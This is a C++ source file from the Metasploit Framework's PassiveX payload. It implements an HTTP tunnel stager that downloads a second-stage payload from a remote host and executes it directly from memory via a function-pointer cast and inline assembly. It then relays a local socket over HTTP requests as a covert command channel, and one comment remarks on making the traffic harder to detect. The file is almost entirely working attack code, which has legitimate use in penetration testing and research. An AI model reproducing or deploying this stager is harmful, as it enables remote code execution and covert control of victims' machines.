826 lines
16 KiB
C++
826 lines
16 KiB
C++
/*
|
|
* This file is part of the Metasploit Exploit Framework
|
|
* and is subject to the same licenses and copyrights as
|
|
* the rest of this package.
|
|
*/
|
|
#include "PassiveXLib.h"
|
|
#include "HttpTunnel.h"
|
|
|
|
// The number of failed HTTP connections
|
|
static DWORD FailedConnections = 0;
|
|
|
|
HttpTunnel::HttpTunnel()
|
|
: HttpHost(NULL),
|
|
HttpUriBase(NULL),
|
|
HttpSid(NULL),
|
|
HttpPort(0),
|
|
LocalTcpListener(0),
|
|
LocalTcpClientSide(0),
|
|
LocalTcpServerSide(0),
|
|
InternetHandle(NULL),
|
|
SendThread(NULL),
|
|
ReceiveThread(NULL),
|
|
SecondStageThread(NULL),
|
|
SecondStage(NULL),
|
|
SecondStageSize(0)
|
|
{
|
|
// Initialize winsock, not that we should need to.
|
|
WSAStartup(
|
|
MAKEWORD(2, 2),
|
|
&WsaData);
|
|
|
|
srand(time(NULL));
|
|
}
|
|
|
|
HttpTunnel::~HttpTunnel()
|
|
{
|
|
Stop();
|
|
|
|
// Cleanup winsock
|
|
WSACleanup();
|
|
}
|
|
|
|
/*
|
|
* Initiates the HTTP tunnel and gets the ball rolling
|
|
*/
|
|
DWORD HttpTunnel::Start(
|
|
IN LPSTR InHttpHost,
|
|
IN LPSTR InHttpUriBase,
|
|
IN LPSTR InHttpSid,
|
|
IN USHORT InHttpPort)
|
|
{
|
|
DWORD ThreadId;
|
|
DWORD Result = ERROR_SUCCESS;
|
|
|
|
do
|
|
{
|
|
// Initialize the hostname and port
|
|
if (!(HttpHost = strdup(InHttpHost)))
|
|
{
|
|
Result = ERROR_NOT_ENOUGH_MEMORY;
|
|
break;
|
|
}
|
|
|
|
if ((InHttpSid) &&
|
|
(InHttpSid[0]) &&
|
|
(!(HttpSid = strdup(InHttpSid))))
|
|
{
|
|
Result = ERROR_NOT_ENOUGH_MEMORY;
|
|
break;
|
|
}
|
|
|
|
if ((InHttpUriBase) &&
|
|
(InHttpUriBase[0]) &&
|
|
(!(HttpUriBase = strdup(InHttpUriBase))))
|
|
{
|
|
Result = ERROR_NOT_ENOUGH_MEMORY;
|
|
break;
|
|
}
|
|
|
|
// Eliminate any trailing slashes as to prevent potential problems. If
|
|
// HttpUriBase is just "/", then it'll become virtuall unused.
|
|
if ((HttpUriBase) &&
|
|
(HttpUriBase[strlen(HttpUriBase) - 1] == '/'))
|
|
HttpUriBase[strlen(HttpUriBase) - 1] = 0;
|
|
|
|
HttpPort = InHttpPort;
|
|
|
|
// Acquire the internet context handle
|
|
if (!(InternetHandle = InternetOpen(
|
|
NULL,
|
|
INTERNET_OPEN_TYPE_PRECONFIG,
|
|
NULL,
|
|
NULL,
|
|
0)))
|
|
{
|
|
Result = GetLastError();
|
|
break;
|
|
}
|
|
|
|
// Create the local TCP abstraction
|
|
if ((Result = InitializeLocalConnection()) != ERROR_SUCCESS)
|
|
{
|
|
CPassiveX::Log(
|
|
TEXT("Start(): InitializeLocalConnection failed, %lu.\n"),
|
|
Result);
|
|
break;
|
|
}
|
|
|
|
// Download the second stage if there is one
|
|
DownloadSecondStage();
|
|
|
|
// Create the transmission thread
|
|
if (!(SendThread = CreateThread(
|
|
NULL,
|
|
0,
|
|
(LPTHREAD_START_ROUTINE)SendThreadFuncSt,
|
|
this,
|
|
0,
|
|
&ThreadId)))
|
|
{
|
|
Result = GetLastError();
|
|
break;
|
|
}
|
|
|
|
// Create the receive thread
|
|
if (!(ReceiveThread = CreateThread(
|
|
NULL,
|
|
0,
|
|
(LPTHREAD_START_ROUTINE)ReceiveThreadFuncSt,
|
|
this,
|
|
0,
|
|
&ThreadId)))
|
|
{
|
|
Result = GetLastError();
|
|
break;
|
|
}
|
|
|
|
// Woop
|
|
Result = ERROR_SUCCESS;
|
|
|
|
} while (0);
|
|
|
|
return Result;
|
|
}
|
|
|
|
/*
|
|
* Stops the HTTP tunnel and cleans up resources
|
|
*/
|
|
DWORD HttpTunnel::Stop()
|
|
{
|
|
DWORD Result = ERROR_SUCCESS;
|
|
DWORD Index = 0;
|
|
LPHANDLE Threads[] =
|
|
{
|
|
&SecondStageThread,
|
|
&ReceiveThread,
|
|
&SendThread,
|
|
NULL
|
|
};
|
|
|
|
// Terminate the threads that were spawned
|
|
for (Index = 0;
|
|
Threads[Index];
|
|
Index++)
|
|
{
|
|
LPHANDLE Thread = Threads[Index];
|
|
|
|
if (*Thread)
|
|
{
|
|
TerminateThread(
|
|
*Thread,
|
|
0);
|
|
|
|
CloseHandle(
|
|
*Thread);
|
|
|
|
*Thread = NULL;
|
|
}
|
|
}
|
|
|
|
// Close all of the open sockets we may have
|
|
if (LocalTcpListener)
|
|
closesocket(
|
|
LocalTcpListener);
|
|
if (LocalTcpClientSide)
|
|
closesocket(
|
|
LocalTcpClientSide);
|
|
if (LocalTcpServerSide)
|
|
closesocket(
|
|
LocalTcpServerSide);
|
|
|
|
LocalTcpListener = 0;
|
|
LocalTcpClientSide = 0;
|
|
LocalTcpServerSide = 0;
|
|
|
|
// Free up memory associated with the second stage
|
|
if (SecondStage)
|
|
{
|
|
free(
|
|
SecondStage);
|
|
|
|
SecondStage = NULL;
|
|
SecondStageSize = 0;
|
|
}
|
|
|
|
// Close the global internet handle acquired from InternetOpen
|
|
if (InternetHandle)
|
|
{
|
|
InternetCloseHandle(
|
|
InternetHandle);
|
|
|
|
InternetHandle = NULL;
|
|
}
|
|
|
|
return Result;
|
|
}
|
|
|
|
/*********************
|
|
* Protected Methods *
|
|
*********************/
|
|
|
|
/*
|
|
* Creates the local TCP abstraction that will be used as the socket for the
|
|
* second stage that is read in
|
|
*/
|
|
DWORD HttpTunnel::InitializeLocalConnection()
|
|
{
|
|
struct sockaddr_in Sin;
|
|
USHORT LocalPort = 0;
|
|
DWORD Attempts = 0;
|
|
DWORD Result = ERROR_SUCCESS;
|
|
|
|
do
|
|
{
|
|
// Create the TCP listener socket
|
|
if ((LocalTcpListener = socket(
|
|
AF_INET,
|
|
SOCK_STREAM,
|
|
IPPROTO_TCP)) == INVALID_SOCKET)
|
|
{
|
|
LocalTcpListener = 0;
|
|
Result = WSAGetLastError();
|
|
break;
|
|
}
|
|
|
|
// Create the TCP client socket
|
|
if ((LocalTcpClientSide = socket(
|
|
AF_INET,
|
|
SOCK_STREAM,
|
|
IPPROTO_TCP)) == INVALID_SOCKET)
|
|
{
|
|
LocalTcpClientSide = 0;
|
|
Result = WSAGetLastError();
|
|
break;
|
|
}
|
|
|
|
Sin.sin_family = AF_INET;
|
|
Sin.sin_addr.s_addr = inet_addr("127.0.0.1");
|
|
|
|
// Try 256 times to pick a random port
|
|
Sin.sin_port = htons(LocalPort = (rand() % 32000) + 1025);
|
|
|
|
while ((bind(
|
|
LocalTcpListener,
|
|
(struct sockaddr *)&Sin,
|
|
sizeof(Sin)) == SOCKET_ERROR) &&
|
|
(Attempts++ < 256))
|
|
{
|
|
Sin.sin_port = htons(LocalPort = (rand() % 32000) + 1025);
|
|
}
|
|
|
|
// If we failed to create the local listener, bomb out
|
|
if (Attempts >= 256)
|
|
{
|
|
Result = WSAGetLastError();
|
|
break;
|
|
}
|
|
|
|
// Listen and stuff
|
|
if (listen(
|
|
LocalTcpListener,
|
|
1) == SOCKET_ERROR)
|
|
{
|
|
Result = WSAGetLastError();
|
|
break;
|
|
}
|
|
|
|
// Establish a connection to the local listener
|
|
if (connect(
|
|
LocalTcpClientSide,
|
|
(struct sockaddr *)&Sin,
|
|
sizeof(Sin)) == SOCKET_ERROR)
|
|
{
|
|
Result = WSAGetLastError();
|
|
break;
|
|
}
|
|
|
|
// Accept the local TCP connection
|
|
if ((LocalTcpServerSide = accept(
|
|
LocalTcpListener,
|
|
NULL,
|
|
NULL)) == SOCKET_ERROR)
|
|
{
|
|
LocalTcpServerSide = 0;
|
|
|
|
Result = WSAGetLastError();
|
|
break;
|
|
}
|
|
|
|
// Woop!
|
|
Result = ERROR_SUCCESS;
|
|
|
|
} while (0);
|
|
|
|
return Result;
|
|
}
|
|
|
|
/*
|
|
* Downloads the second stage payload from the remote HTTP host and executes it
|
|
* in its own thread if there is one
|
|
*/
|
|
VOID HttpTunnel::DownloadSecondStage()
|
|
{
|
|
// Transmit the request to download the second stage. The stage buffer that
|
|
// is passed back is never deallocated.
|
|
if ((TransmitHttpRequest(
|
|
TEXT("GET"),
|
|
PASSIVEX_URI_SECOND_STAGE,
|
|
NULL,
|
|
0,
|
|
30000,
|
|
NULL,
|
|
(PVOID *)&SecondStage,
|
|
&SecondStageSize) == ERROR_SUCCESS) &&
|
|
(SecondStageSize))
|
|
{
|
|
DWORD ThreadId = 0;
|
|
|
|
CPassiveX::Log(
|
|
TEXT("DownloadSecondStage(): Downloaded %lu byte second stage, executing it...\n"),
|
|
SecondStageSize);
|
|
|
|
// Create the second stage thread
|
|
SecondStageThread = CreateThread(
|
|
NULL,
|
|
0,
|
|
(LPTHREAD_START_ROUTINE)SecondStageThreadFuncSt,
|
|
this,
|
|
0,
|
|
&ThreadId);
|
|
}
|
|
else
|
|
{
|
|
CPassiveX::Log(
|
|
TEXT("DownloadSecondStage(): Failed to download second stage, %lu."),
|
|
GetLastError());
|
|
|
|
ExitProcess(0);
|
|
|
|
}
|
|
}
|
|
|
|
/*
|
|
* Transmits the supplied data to the remote HTTP host
|
|
*/
|
|
DWORD HttpTunnel::TransmitToRemote(
|
|
IN PUCHAR Buffer,
|
|
IN ULONG BufferSize)
|
|
{
|
|
CPassiveX::Log(
|
|
TEXT("TransmitToRemote(): Transmitting %lu bytes of data to the remote side of the TCP abstraction.\n"),
|
|
BufferSize);
|
|
|
|
return TransmitHttpRequest(
|
|
"POST",
|
|
PASSIVEX_URI_TUNNEL_IN,
|
|
Buffer,
|
|
BufferSize);
|
|
}
|
|
|
|
/*
|
|
* Transmits the supplied data to the server side of the local TCP abstraction
|
|
*/
|
|
DWORD HttpTunnel::TransmitToLocal(
|
|
IN PUCHAR Buffer,
|
|
IN ULONG BufferSize)
|
|
{
|
|
DWORD Result = ERROR_SUCCESS;
|
|
INT BytesWritten = 0;
|
|
|
|
// Keep writing until everything has been written
|
|
while (BufferSize > 0)
|
|
{
|
|
CPassiveX::Log(
|
|
TEXT("TransmitToLocal(): Transmitting %lu bytes of data to the local side of the TCP abstraction.\n"),
|
|
BufferSize);
|
|
|
|
if ((BytesWritten = send(
|
|
LocalTcpServerSide,
|
|
(const char *)Buffer,
|
|
BufferSize,
|
|
0)) == SOCKET_ERROR)
|
|
{
|
|
Result = WSAGetLastError();
|
|
break;
|
|
}
|
|
|
|
Buffer += BytesWritten;
|
|
BufferSize -= BytesWritten;
|
|
}
|
|
|
|
return Result;
|
|
}
|
|
|
|
/*
|
|
* Transmits an HTTP request to the target host, optionally waiting for a
|
|
* response
|
|
*/
|
|
DWORD HttpTunnel::TransmitHttpRequest(
|
|
IN LPTSTR Method,
|
|
IN LPTSTR Uri,
|
|
IN PVOID RequestPayload,
|
|
IN ULONG RequestPayloadLength,
|
|
IN ULONG WaitResponseTimeout,
|
|
OUT LPDWORD ResponseCode,
|
|
OUT PVOID *ResponsePayload,
|
|
OUT LPDWORD ResponsePayloadLength)
|
|
{
|
|
HINTERNET RequestHandle = NULL;
|
|
HINTERNET ConnectHandle = NULL;
|
|
PUCHAR OutBuffer = NULL;
|
|
DWORD OutBufferLength = 0;
|
|
UCHAR ReadBuffer[8192];
|
|
DWORD ReadBufferLength;
|
|
DWORD Result = ERROR_SUCCESS;
|
|
PCHAR AdditionalHeaders = NULL;
|
|
CHAR FullUri[1024];
|
|
|
|
// Construct the full URI
|
|
if (HttpUriBase && HttpUriBase[0])
|
|
_snprintf(FullUri, sizeof(FullUri) - 1,
|
|
"%s%s",
|
|
HttpUriBase, Uri);
|
|
else
|
|
strncpy(FullUri, Uri, sizeof(FullUri) - 1);
|
|
|
|
FullUri[sizeof(FullUri) - 1] = 0;
|
|
|
|
do
|
|
{
|
|
PROFILE_CHECKPOINT("InternetConnect ==>");
|
|
|
|
// Open a connection handle
|
|
if (!(ConnectHandle = InternetConnect(
|
|
InternetHandle,
|
|
HttpHost,
|
|
HttpPort,
|
|
NULL,
|
|
NULL,
|
|
INTERNET_SERVICE_HTTP,
|
|
0,
|
|
NULL)))
|
|
{
|
|
Result = GetLastError();
|
|
break;
|
|
}
|
|
|
|
PROFILE_CHECKPOINT("InternetConnect <==");
|
|
|
|
// If we were supplied a wait response timeout, set it
|
|
if (WaitResponseTimeout)
|
|
InternetSetOption(
|
|
ConnectHandle,
|
|
INTERNET_OPTION_RECEIVE_TIMEOUT,
|
|
&WaitResponseTimeout,
|
|
sizeof(WaitResponseTimeout));
|
|
|
|
PROFILE_CHECKPOINT("HttpOpenRequest ==>");
|
|
|
|
// Open a request handle
|
|
if (!(RequestHandle = HttpOpenRequest(
|
|
ConnectHandle,
|
|
Method ? Method : TEXT("GET"),
|
|
FullUri,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_NO_CACHE_WRITE |
|
|
INTERNET_FLAG_RELOAD,
|
|
NULL)))
|
|
{
|
|
Result = GetLastError();
|
|
break;
|
|
}
|
|
|
|
// If we were assigned an HTTP session identifier, then allocate an
|
|
// additional header for transmission to the remote side.
|
|
if (HttpSid)
|
|
{
|
|
// Yeah, I'm lame, this is easy to sig. Improve me if you care!
|
|
if ((AdditionalHeaders = (PCHAR)malloc(strlen(HttpSid) + 32)))
|
|
sprintf(AdditionalHeaders,
|
|
"X-Sid: sid=%s\r\n",
|
|
HttpSid);
|
|
}
|
|
|
|
PROFILE_CHECKPOINT("HttpOpenRequest <==");
|
|
PROFILE_CHECKPOINT("HttpSendRequest ==>");
|
|
|
|
// Send and endthe request
|
|
if ((!HttpSendRequest(
|
|
RequestHandle,
|
|
AdditionalHeaders,
|
|
(AdditionalHeaders) ? -1L : 0,
|
|
RequestPayload,
|
|
RequestPayloadLength)))
|
|
{
|
|
Result = GetLastError();
|
|
break;
|
|
}
|
|
|
|
PROFILE_CHECKPOINT("HttpSendRequest <==");
|
|
|
|
// If we wont be waiting for a response, break out now and return
|
|
if (!WaitResponseTimeout)
|
|
{
|
|
Result = ERROR_SUCCESS;
|
|
break;
|
|
}
|
|
|
|
// Keep looping until we've read the entire request or an error is
|
|
// encountered
|
|
while (1)
|
|
{
|
|
PUCHAR NewBuffer;
|
|
|
|
ReadBufferLength = sizeof(ReadBuffer);
|
|
|
|
PROFILE_CHECKPOINT("InternetReadFile ==>");
|
|
|
|
if (!InternetReadFile(
|
|
RequestHandle,
|
|
ReadBuffer,
|
|
ReadBufferLength,
|
|
&ReadBufferLength))
|
|
{
|
|
Result = GetLastError();
|
|
break;
|
|
}
|
|
else if (!ReadBufferLength)
|
|
{
|
|
Result = ERROR_SUCCESS;
|
|
break;
|
|
}
|
|
|
|
PROFILE_CHECKPOINT("InternetReadFile <==");
|
|
|
|
// Append the buffer to the output buffer
|
|
if (!OutBuffer)
|
|
NewBuffer = (PUCHAR)malloc(
|
|
ReadBufferLength);
|
|
else
|
|
NewBuffer = (PUCHAR)realloc(
|
|
OutBuffer,
|
|
OutBufferLength + ReadBufferLength);
|
|
|
|
if (!NewBuffer)
|
|
{
|
|
Result = ERROR_NOT_ENOUGH_MEMORY;
|
|
break;
|
|
}
|
|
|
|
memcpy(
|
|
NewBuffer + OutBufferLength,
|
|
ReadBuffer,
|
|
ReadBufferLength);
|
|
|
|
OutBuffer = NewBuffer;
|
|
OutBufferLength += ReadBufferLength;
|
|
}
|
|
|
|
// Query the status code of the response
|
|
if (ResponseCode)
|
|
{
|
|
DWORD ResponseCodeSize = sizeof(DWORD);
|
|
|
|
if (!HttpQueryInfo(
|
|
RequestHandle,
|
|
HTTP_QUERY_STATUS_CODE,
|
|
ResponseCode,
|
|
&ResponseCodeSize,
|
|
NULL))
|
|
{
|
|
CPassiveX::Log(
|
|
TEXT("HttpQueryInfo failed, %lu."),
|
|
GetLastError());
|
|
|
|
*ResponseCode = 0;
|
|
}
|
|
}
|
|
|
|
} while (0);
|
|
|
|
PROFILE_CHECKPOINT("Finished TransmitHttpRequest");
|
|
|
|
// Close handles
|
|
if (RequestHandle)
|
|
InternetCloseHandle(
|
|
RequestHandle);
|
|
if (ConnectHandle)
|
|
InternetCloseHandle(
|
|
ConnectHandle);
|
|
if (AdditionalHeaders)
|
|
free(AdditionalHeaders);
|
|
|
|
// Set the output pointers or free up the output buffer
|
|
if (Result == ERROR_SUCCESS)
|
|
{
|
|
if (ResponsePayload)
|
|
*ResponsePayload = OutBuffer;
|
|
if (ResponsePayloadLength)
|
|
*ResponsePayloadLength = OutBufferLength;
|
|
|
|
FailedConnections = 0;
|
|
}
|
|
else
|
|
{
|
|
// If we fail to connect...
|
|
if (Result == ERROR_INTERNET_CANNOT_CONNECT)
|
|
{
|
|
FailedConnections++;
|
|
|
|
if (FailedConnections > 10)
|
|
{
|
|
CPassiveX::Log("TransmitHttpRequest(): Failed to connect to HTTP server (%lu), exiting.",
|
|
FailedConnections);
|
|
|
|
ExitProcess(0);
|
|
}
|
|
}
|
|
|
|
if (OutBuffer)
|
|
free(
|
|
OutBuffer);
|
|
}
|
|
|
|
return Result;
|
|
}
|
|
|
|
/*
|
|
* Method wrapper
|
|
*/
|
|
ULONG HttpTunnel::SendThreadFuncSt(
|
|
IN HttpTunnel *Tunnel)
|
|
{
|
|
return Tunnel->SendThreadFunc();
|
|
}
|
|
|
|
/*
|
|
* Monitors the server side of the local TCP abstraction for data that can be
|
|
* transmitted to the remote half of the pipe
|
|
*/
|
|
ULONG HttpTunnel::SendThreadFunc()
|
|
{
|
|
fd_set FdSet;
|
|
UCHAR ReadBuffer[16384];
|
|
LONG BytesRead;
|
|
INT Result;
|
|
|
|
// This is the song that never ends...
|
|
while (1)
|
|
{
|
|
FD_ZERO(
|
|
&FdSet);
|
|
FD_SET(
|
|
LocalTcpServerSide,
|
|
&FdSet);
|
|
|
|
PROFILE_CHECKPOINT("select ==>");
|
|
|
|
// Wait for some data...
|
|
Result = select(
|
|
LocalTcpServerSide + 1,
|
|
&FdSet,
|
|
NULL,
|
|
NULL,
|
|
NULL);
|
|
|
|
PROFILE_CHECKPOINT("select <==");
|
|
|
|
// If select failed or there was no new data, act accordingly else risk
|
|
// the fist of the evil witch
|
|
if (Result < 0)
|
|
{
|
|
CPassiveX::Log(
|
|
TEXT("SendThreadFunc(): TUNNEL_IN: Select failed, %lu.\n"),
|
|
WSAGetLastError());
|
|
break;
|
|
}
|
|
else if (Result == 0)
|
|
continue;
|
|
|
|
PROFILE_CHECKPOINT("recv ==>");
|
|
|
|
// Read in data from the local server side of the TCP connection
|
|
BytesRead = recv(
|
|
LocalTcpServerSide,
|
|
(char *)ReadBuffer,
|
|
sizeof(ReadBuffer),
|
|
0);
|
|
|
|
PROFILE_CHECKPOINT("recv <==");
|
|
|
|
// On error or end of file...
|
|
if (BytesRead <= 0)
|
|
{
|
|
CPassiveX::Log(
|
|
TEXT("SendThreadFunc(): TUNNEL_IN: Read 0 or fewer bytes, erroring out (%lu).\n"),
|
|
BytesRead);
|
|
break;
|
|
}
|
|
|
|
CPassiveX::Log(
|
|
TEXT("SendThreadFunc(): TUNNEL_IN: Transmitting %lu bytes of data to remote side.\n"),
|
|
BytesRead);
|
|
|
|
PROFILE_CHECKPOINT("TransmitToRemote ==>");
|
|
|
|
// Transmit the data to the remote side
|
|
if ((Result = TransmitToRemote(
|
|
ReadBuffer,
|
|
BytesRead)) != ERROR_SUCCESS)
|
|
{
|
|
CPassiveX::Log(
|
|
TEXT("SendThreadFunc(): TUNNEL_IN: TransmitToRemote failed, %lu.\n"),
|
|
Result);
|
|
}
|
|
|
|
PROFILE_CHECKPOINT("TransmitToRemote <==");
|
|
}
|
|
|
|
// Exit the process if the send thread ends
|
|
ExitProcess(0);
|
|
|
|
return 0;
|
|
}
|
|
|
|
/*
|
|
* Method wrapper
|
|
*/
|
|
ULONG HttpTunnel::ReceiveThreadFuncSt(
|
|
IN HttpTunnel *Tunnel)
|
|
{
|
|
return Tunnel->ReceiveThreadFunc();
|
|
}
|
|
|
|
/*
|
|
* Polls for data that should be sent to the local server side of the TCP
|
|
* abstraction
|
|
*/
|
|
ULONG HttpTunnel::ReceiveThreadFunc()
|
|
{
|
|
PUCHAR ReadBuffer = NULL;
|
|
DWORD ReadBufferLength = 0;
|
|
DWORD ResponseCode = 0;
|
|
|
|
while (1)
|
|
{
|
|
ReadBufferLength = 0;
|
|
ReadBuffer = NULL;
|
|
ResponseCode = 0;
|
|
|
|
if ((TransmitHttpRequest(
|
|
TEXT("GET"),
|
|
PASSIVEX_URI_TUNNEL_OUT,
|
|
NULL,
|
|
0,
|
|
30000,
|
|
&ResponseCode,
|
|
(PVOID *)&ReadBuffer,
|
|
&ReadBufferLength) == ERROR_SUCCESS) &&
|
|
(ReadBuffer))
|
|
{
|
|
CPassiveX::Log(
|
|
TEXT("ReceiveThreadFunc(): TUNNEL_OUT: Received response code %lu, buffer length %lu.\n"),
|
|
ResponseCode,
|
|
ReadBufferLength);
|
|
|
|
TransmitToLocal(
|
|
ReadBuffer,
|
|
ReadBufferLength);
|
|
|
|
free(
|
|
ReadBuffer);
|
|
}
|
|
else
|
|
{
|
|
CPassiveX::Log(
|
|
TEXT("ReceiveThreadFunc(): TUNNEL_OUT: TransmitHttpRequest failed, %lu.\n"),
|
|
GetLastError());
|
|
}
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
/*
|
|
* Calls the second stage after initializing the proper registers
|
|
*/
|
|
ULONG HttpTunnel::SecondStageThreadFuncSt(
|
|
IN HttpTunnel *Tunnel)
|
|
{
|
|
SOCKET Fd = Tunnel->LocalTcpClientSide;
|
|
|
|
// Initialize edi to the file descriptor that the second stage might use
|
|
__asm
|
|
{
|
|
lea eax, [Fd]
|
|
mov edi, [eax]
|
|
}
|
|
|
|
((VOID (*)())Tunnel->SecondStage)();
|
|
|
|
return 0;
|
|
}
|